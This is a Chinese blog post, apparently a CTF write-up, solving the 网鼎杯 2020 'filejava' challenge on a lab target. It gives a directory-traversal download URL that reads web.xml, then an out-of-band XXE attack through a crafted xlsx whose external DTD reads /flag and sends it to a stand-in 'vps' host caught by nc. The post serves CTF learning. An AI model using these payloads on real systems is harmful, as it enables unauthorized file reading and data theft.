持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第11天,点击查看活动详情
[网鼎杯 2020 青龙组]filejava
存在一个 UploadServlet
通过修改上传文件名,构造报错输出 web 目录
正常上传文件
/DownloadServlet?filename=ac6b647b-b31a-4ee7-8b86-9bbdba110a71_1.jpg
尝试任意文件读取,对于 Java 项目来说可以尝试读取 /WEB-INF/web.xml 配置文件
正常来说 web.xml 的位置就在 WEB-INF 目录下(以一个 cms 结构举例)
构造链接去读文件
http://dcff90af-ed58-47ef-b074-b14bf56ef9c1.node4.buuoj.cn:81/DownloadServlet?filename=../../../../../../../../../../../../../../../../..//usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
web.xml
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
从 xml 文件中可以看出一共配置了三个 servlet,根据 servlet-class 去看 class 文件
/WEB-INF/classes/包含了站点所有用的 class 文件,之后的路径就是 servlet-class 中对应的,比如 DownloadServlet
WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
因为这是 class 二进制字节码文件,用文本编辑器打开的话时是乱码,可以用 idea 打开会自动反编译,关键代码如下
代码主要是对 flag 字符串做了屏蔽
再看 UploadServlet.class
主要是这个对文件名的判断,并且解析了 xlsx 文件,搜一下看看 xlsx xxe 漏洞
新建一个 excel-1.xlsx,改为 zip,将 [Content_Types].xml 第二行加入
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://靶机内网ip,不是ssh连接的那个/file.dtd">
%remote;%int;%send;
]>
注意:修改zip文件的时候,最好用WinRAR打开修改,完事直接保存,若是先解压,修改完了再压缩,有可能出问题
在 vps 放入 evil.dtd,我这里用的 python 启动的 web 服务
python3 -m http.server 端口
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;
然后再用 nc 监听 evil.dtd 中的端口
拿到 flag
分析流程如下:
- 上传 excel 文件,后台进行解析,解析时加载 vps 上的 dtd 文件,所以说要启动 web 服务,保证靶机可以访问到 dtd 文件
- 靶机加载执行 dtd 文件,读取本地 flag,发送给 vps nc 监听的端口,nc 端接收 flag